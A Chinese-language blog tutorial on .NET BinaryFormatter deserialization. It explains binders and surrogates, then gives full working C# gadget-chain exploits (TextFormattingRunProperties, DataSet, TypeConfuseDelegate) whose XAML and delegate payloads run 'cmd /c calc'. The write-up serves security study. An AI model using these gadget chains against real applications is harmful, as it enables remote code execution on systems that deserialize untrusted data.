February 7, 2024

【.NET 安全】ASP.NET BinaryFormatter Deserialization 03

参考文献

https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md

01-BinaryFormatter 基本结构及使用

今天要学习的BinaryFormatter是整个反序列化系列最经典的一个Formatter,之后我们要学习的SoapFormatter以及LosFormatter等等都是基于BinaryFormatter,最终都会回到这里,因此本节的内容会比较多。
官方文档:
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=net-8.0
在第一节01中我们已经介绍过它的一些基本用法
https://boogipop.com/2024/02/02/%E3%80%90.NET%20%E5%AE%89%E5%85%A8%E3%80%91ASP.NET%20Deserialization%2001/
官方文档给出了更为详细的结构
image.png
其中我们需要注意的是Binder和SurrogateSelector,我们可以理解为”过滤器”和”代理器”,先讲讲过滤器的用法

01-1 Binder 过滤器

这里给出一段Demo代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

public class CustomSerializationBinder : SerializationBinder
{
public override Type BindToType(string assemblyName, string typeName)
{
// 在反序列化时,检查类型是否在黑名单中
if (IsTypeInBlacklist(typeName))
{
throw new SerializationException("Deserialization of this type is not allowed.");
}

// 使用默认绑定
return null;
}

private bool IsTypeInBlacklist(string typeName)
{
// 在这里添加黑名单检查的逻辑
// 返回 true 表示在黑名单中,返回 false 表示不在黑名单中
return typeName.Contains("EvilClass");
}
}
[Serializable]
public class EvilClass
{

}

[Serializable]
public class MyClass
{
public string Name { get; set; }
public int Age { get; set; }
public object data;
}

class Program
{
static void Main()
{
// 创建对象实例
MyClass myObject = new MyClass { Name = "John", Age = 25 };
var evilClass = new EvilClass();
myObject.data = evilClass;

// 使用BinaryFormatter进行序列化,并设置自定义的SerializationBinder
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new CustomSerializationBinder();

using (MemoryStream stream = new MemoryStream())
{
formatter.Serialize(stream, myObject);

// 将流位置重置为开始
stream.Seek(0, SeekOrigin.Begin);

try
{
// 使用BinaryFormatter进行反序列化
MyClass deserializedObject = (MyClass)formatter.Deserialize(stream);

// 输出反序列化后的对象属性
Console.WriteLine($"Name: {deserializedObject.Name}, Age: {deserializedObject.Age}");
}
catch (SerializationException ex)
{
// 处理反序列化异常
Console.WriteLine($"Error during deserialization: {ex.Message}");
}
}
}
}

上述代码的结果为
image.png
结果很显然我们的EvilCLass被过滤了,在这里我们定义了自己的过滤器CustomSerializationBinder,这里可以进行对流的拦截处理。这个过程和Java反序列化中的Resolveclass顺序是一致的,先读取当前类的类型,再读取成员变量的类型,最后还原成对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
this.objectName = objectName;
this.memberNames = memberNames;
this.binaryTypeEnumA = binaryTypeEnumA;
this.typeInformationA = typeInformationA;
this.objectReader = objectReader;
this.objectId = objectId;
this.assemblyInfo = assemblyInfo;
if (assemblyInfo == null)
throw new SerializationException(Environment.GetResourceString("Serialization_Assembly", (object) objectName));
this.objectType = objectReader.GetType(assemblyInfo, objectName);
this.memberTypes = new Type[memberNames.Length];
for (int index = 0; index < memberNames.Length; ++index)
{
Type type;
BinaryConverter.TypeFromInfo(binaryTypeEnumA[index], typeInformationA[index], objectReader, (BinaryAssemblyInfo) assemIdToAssemblyTable[memberAssemIds[index]], out InternalPrimitiveTypeE _, out string _, out type, out bool _);
this.memberTypes[index] = type;
}
this.objectInfo = objectReader.CreateReadObjectInfo(this.objectType, memberNames, (Type[]) null);
if (this.objectInfo.isSi)
return;
this.objectInfo.GetMemberTypes(memberNames, this.objectInfo.objectType);
}

主要代码是上面这一段ObjectMap的构造方法里面的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
public override Type BindToType(string assemblyName, string typeName)
{
// 在反序列化时,检查类型是否在黑名单中
if (IsTypeInBlacklist(typeName))
{
throw new SerializationException("Deserialization of this type is not allowed.");
}

// 使用默认绑定
return null;
}

最终通过BindToType方法进行放行,如果不在黑名单里直接return即可。

01-2 SurrogateSelector 代理器

代理器可以让一个本不可以序列化的对象完成序列化和反序列化,而无需[Serializable]的注解。具体例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security.Permissions;

namespace NormalSerialize
{
public class MyObject
{
public MyObject(string str)
{
this.str = str;
}

public string str { get; set; }
public MyObject()
{
Console.WriteLine("Constructor");
}
}
class MySerializationSurrogate : ISerializationSurrogate
{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
Console.WriteLine("GetObjectData of ISerializationSurrogate");
info.AddValue("str", ((MyObject)obj).str);
}

public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
{
Console.WriteLine("SetObjectData of ISerializationSurrogate");
MyObject m = new MyObject();
m.str = (string)info.GetValue("str", typeof(string));
return m;
}
}
class Program
{
static void Main(string[] args)
{
try
{
MyObject myObject = new MyObject();
myObject.str = "hello";

using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();

// 设置序列化代理选择器
SurrogateSelector ss = new SurrogateSelector();
ss.AddSurrogate(typeof(MyObject), binaryFormatter.Context, new MySerializationSurrogate());
// 赋值给formatter 这里是否设置代理选择器决定了序列化的生命周期
binaryFormatter.SurrogateSelector = ss;
// 序列化
binaryFormatter.Serialize(memoryStream, myObject);
// 重置stream
memoryStream.Position = 0;
myObject = null;
// 反序列化
myObject = (MyObject)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(myObject.str); // hello
}

}
catch (Exception e)
{
Console.WriteLine(e.StackTrace);
}
}
}
}

MyObject本是一个不可序列化的类,但是加了代理器后仍然可以进行处理
image.png
这一点在第一篇文章也有类似体现

02-TextFormattingRunProperties&DataSet 利用链

02-1 TextFormattingRunProperties

通过上述一些介绍这里就可以延伸出一条比较经典的利用链TextFormattingRunProperties
https://learn.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.text.formatting.textformattingrunproperties?view=visualstudiosdk-2022
image.png
该类实现了ISerializable接口,那么我们就可以去关注一下它的构造方法以及GetObjectData和SetObjectData了。
它的构造方法比较有意思
image.png
其中GetObjectFromSerializationInfo逻辑如下
image.png
Binggo,见到了熟悉的XamlReader.Parse,那么整条链子也就串起来了,我们需要做的就是给他的ForegroundBrush或者是BackgroundBrush属性赋值为我们Xaml的payload即可完成命令执行。
payload代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}

string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
class Program
{
static void Main(string[] args)
{
string xaml_payload =
"<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>";
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);

using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
Console.ReadKey();
}
}
}

其中xaml payload是我们上一节中生成出的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft
.com/winfx/2006/xaml">
<ObjectDataProvider MethodName="Start" x:Key="a">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="test" S
tandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="calc" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</ResourceDictionary>

stack如下

1
2
3
4
5
6
7
8
9
new TextFormattingRunProperties() 
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject()
ObjectManager.FixupSpecialObject()
ObjectManager.DoFixups()
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
Program.Main()

image.png
image.png
在Parse处完成了RCE,这条链子也是比较简单。但很常见
Yso的写法和我们的也一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Runtime.Serialization;
using System.Collections.Generic;
using Microsoft.VisualStudio.Text.Formatting;
using ysoserial.Helpers;
using NDesk.Options;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Reflection;
using System.Windows.Data;

namespace ysoserial.Generators
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{

}

string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}

02-2 DataSet

Yso中有关DataSet的Generator如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}

public void SetFakeTable(byte[] bfPayload)
{
_fakeTable = bfPayload;
}

public DataSetMarshal(byte[] bfPayload)
{
SetFakeTable(bfPayload);
}

public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs())
{
// This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification)
}

public DataSetMarshal(object fakeTable, InputArgs inputArgs)
{
MemoryStream stm = new MemoryStream();
if (inputArgs.Minify)
{
ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
fmtLocal.Serialize(stm, fakeTable);
}
else
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stm, fakeTable);
}

SetFakeTable(stm.ToArray());
}

public DataSetMarshal(MemoryStream ms)
{
SetFakeTable(ms.ToArray());
}
}
}

其实这条链子的本质就是TextFormattingRunProperties链,DataSet提供了一次二次反序列化的机会,有助于我们绕过黑名单。
image.png
实现了ISerializable接口,观察它的构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected DataSet(SerializationInfo info, StreamingContext context, bool ConstructSchema)
: this()
{
SerializationFormat remotingFormat = SerializationFormat.Xml;
SchemaSerializationMode schemaSerializationMode = SchemaSerializationMode.IncludeSchema;
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
switch (enumerator.Name)
{
case "DataSet.RemotingFormat":
remotingFormat = (SerializationFormat) enumerator.Value;
continue;
case "SchemaSerializationMode.DataSet":
schemaSerializationMode = (SchemaSerializationMode) enumerator.Value;
continue;
default:
continue;
}
}
if (schemaSerializationMode == SchemaSerializationMode.ExcludeSchema)
this.InitializeDerivedDataSet();
if (remotingFormat == SerializationFormat.Xml && !ConstructSchema)
return;
//进行反序列化
this.DeserializeDataSet(info, context, remotingFormat, schemaSerializationMode);
}

构造方法会进入DeserializeDataSet方法,进行反序列化
image.png
this.DeserializeDataSetSchema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
private void DeserializeDataSetSchema(
SerializationInfo info,
StreamingContext context,
SerializationFormat remotingFormat,
SchemaSerializationMode schemaSerializationMode)
{
if (remotingFormat != SerializationFormat.Xml)
{
if (schemaSerializationMode == SchemaSerializationMode.IncludeSchema)
{
this.DeserializeDataSetProperties(info, context);
int int32 = info.GetInt32("DataSet.Tables.Count");
for (int index = 0; index < int32; ++index)
{
MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]
{
(object) index
}), typeof (byte[])));
serializationStream.Position = 0L;
this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));
}
for (int index = 0; index < int32; ++index)
this.Tables[index].DeserializeConstraints(info, context, index, true);
this.DeserializeRelations(info, context);
for (int index = 0; index < int32; ++index)
this.Tables[index].DeserializeExpressionColumns(info, context, index);
}
else
this.DeserializeDataSetProperties(info, context);
}
else
{
string s = (string) info.GetValue("XmlSchema", typeof (string));
if (s == null)
return;
this.ReadXmlSchema((XmlReader) new XmlTextReader((TextReader) new StringReader(s)), true);
}
}

其中进行了Binary二进制反序列化
this.Tables.Add((DataTable) new BinaryFormatter((ISurrogateSelector) null, new StreamingContext(context.State, (object) false)).Deserialize((Stream) serializationStream));
我们需要关注的就是Stream从何而来,它是哪个值
MemoryStream serializationStream = new MemoryStream((byte[]) info.GetValue(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[1]
它来自DataSet.Tables_0的值,那我们在序列化的时候给他赋值为TextFormattingRunProperties的二进制bytes流即可,但是我们需要给其他属性赋值,否则无法正常反序列化

1
2
3
4
5
6
7
8
9
10
11
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);

Yso的payload中给了这些属性赋值,这些值都是要在反序列化中获取的
image.png
它的调用流程为DataSet#Ctor->DeserializeDataSet->DeserializeDataSetSchema->DeserializeDataSetProperties(在这一步获取上述属性,因此要赋值)->BinaryFormatter#Deserialize
我们可以手动构造Exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;

namespace DonNET_Deserialization
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}

string _xaml;

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}

public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}

public class TextFormattingPropersGadgets
{
public TextFormattingPropersGadgets()
{
}

public static byte[] GetTextFormattingPropersBytes()
{
string xaml_payload =
"<ResourceDictionary \n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\n <ObjectDataProvider.MethodParameters>\n <b:String>cmd</b:String>\n <b:String>/c calc</b:String>\n </ObjectDataProvider.MethodParameters>\n </ObjectDataProvider>\n</ResourceDictionary>";
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);

using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
return memoryStream.ToArray();
}
}
}
[Serializable]
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}

public void SetFakeTable(byte[] bfPayload)
{
_fakeTable = bfPayload;
}
}

public class DatasetGadgets
{
public static void Main(string[] args)
{
var textFormattingPropersBytes = TextFormattingPropersGadgets.GetTextFormattingPropersBytes();
var dataSetMarshal = new DataSetMarshal();
dataSetMarshal.SetFakeTable(textFormattingPropersBytes);
using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, dataSetMarshal);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
}
}

}

调用堆栈如下,和我们分析的完全一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
new TextFormattingRunProperties() 
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject() [2]
ObjectManager.FixupSpecialObject() [2]
ObjectManager.DoFixups() [2]
ObjectReader.Deserialize() [2]
BinaryFormatter.Deserialize() [2]
DataSet.DeserializeDataSetSchema()
new DataSet()
new DataSet()
[Native to Managed Transition]
ObjectManager.CompleteISerializableObject() [1]
ObjectManager.FixupSpecialObject() [1]
ObjectManager.DoFixups() [1]
ObjectReader.Deserialize()
BinaryFormatter.Deserialize()
BinaryFormatter.Deserialize()
DatasetGadgets.Main()

至此DataSet这个Gadgets就告一段落,也就是一个二次反序列化的工具

03-TypeConfuseDelegate

TypeConfuseDelegate他不是一个类,是作者给它取的一个名字,类型混淆委托,那么首先就得了解C#中有关委托的概念了。

03-1 委托&&多播委托

https://learn.microsoft.com/zh-cn/dotnet/csharp/programming-guide/delegates/how-to-declare-instantiate-and-use-a-delegate
官方文档中委托讲的比较详细,给了个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using System;

delegate void CustomCallback(string s);

class TestClass
{
static void Hello(string s)
{
Console.WriteLine($" Hello, {s}!");
}

static void Goodbye(string s)
{
Console.WriteLine($" Goodbye, {s}!");
}

static void Main()
{
CustomCallback hiDel, byeDel, multiDel, multiMinusHiDel;
hiDel = Hello;
byeDel = Goodbye;
multiDel = hiDel + byeDel;
multiMinusHiDel = multiDel - hiDel;

Console.WriteLine("Invoking delegate hiDel:");
hiDel("A");
Console.WriteLine("Invoking delegate byeDel:");
byeDel("B");
Console.WriteLine("Invoking delegate multiDel:");
multiDel("C");
Console.WriteLine("Invoking delegate multiMinusHiDel:");
multiMinusHiDel("D");
}
}

委托它的类型是delegate,和Java中的动态代理一样,但是比Java的方便很多,他可以代理一个方法,有趣的是它还可以进行加减操作,上述例子输出内容如下

1
2
3
4
5
6
7
8
9
Invoking delegate hiDel:
Hello, A!
Invoking delegate byeDel:
Goodbye, B!
Invoking delegate multiDel:
Hello, C!
Goodbye, C!
Invoking delegate multiMinusHiDel:
Goodbye, D!

先是输出Hello、GooBye两个方法正常使用,然后我们用多播委托将这两个方法相加,最后multiDel("C");就可以调用2个方法,然后减去一个就只代理一个方法,这就是委托的基本用法。
需要注意的点是委托的方法和委托的定义类型要一样,也就是签名必须一直,返回值、参数类型、参数个数,都必须对应上才可以使用委托。但是多播委托的情况有点特殊,下面会解释

03-2 Gadgets

Yso中的构造如下,看起来很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static object GetXamlGadget(string xaml_payload)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(xaml_payload);
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// We use XamlReader.Parse() to trigger the xaml execution
invoke_list[1] = new Func<string, object>(System.Windows.Markup.XamlReader.Parse);
fi.SetValue(d, invoke_list);
return set;
}

我们按照上面改一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

namespace DonNET_Deserialization;

public class TypeConfuseDelegate
{

public static void Main(string[] args)
{
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("cmd.exe");
set.Add("/c calc");

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
using (MemoryStream memoryStream = new MemoryStream())
{
// 构建formatter
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, set);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
}
}
}

这个payload的流程也很简单
image.png
首先我们对String.Compare创建了一个委托,然后我们合并2个委托为一个多播委托
image.png
然后用这个多播委托去创建一个Comparer比较器,放入Sortset的构造方法内
image.png
之后往set添加我们命令执行的参数,在后面会用到,随后反射修改委托d中的invocationlist(待触发方法),将Function改为我们需要的Process.Start
image.png
随后进入反序列化方法
image.png
在反序列化的时候会假如没实现代理器但有Serilizable注解会走RaiseDeserializationEvent方法
image.png
最后到了OnDeserialization#Add方法
image.png
这里原本是反序列化将Set的item添加进去,我们跟进Add方法内部
image.png
此时由于Compare方法已经被我们修改为了Process.Start方法,因此执行了命令

03-3 签名问题

其实这里还有个问题,Start方法的签名长这样
image.png
参数虽然都是string,但是返回值是Process,而Compare方法的签名如下
image.png
它的返回值是int,为什么多播委托可以解决签名不一样的问题呢?官方给出的解释是这样的

The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object.

这段代码唯一奇怪的地方是 TypeConfuseDelegate。 .NET 委托并不总是强制执行其类型签名,尤其是返回值,这是一个长期存在的问题。在本例中,我们创建一个包含两个条目的多播委托(一个将按顺序运行多个单个委托的委托),将一个委托设置为 String::Compare(返回 int),将另一个委托设置为 Process::Start(返回 Process 类的实例) 。即使反序列化并调用两个单独的方法也是如此。然后它将以整数形式返回创建的进程对象,这意味着它将返回指向进程对象实例的指针。

这句话的意思是在刚开始反序列化时,我们通过GetInvocationList获取了2个委托
image.png
也就是我们创建的2个Compare方法,然后我们将其中一个改为Process.Start方法,这表示这时候传递的是指针。因此可以绕过签名问题。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#反序列化#.NET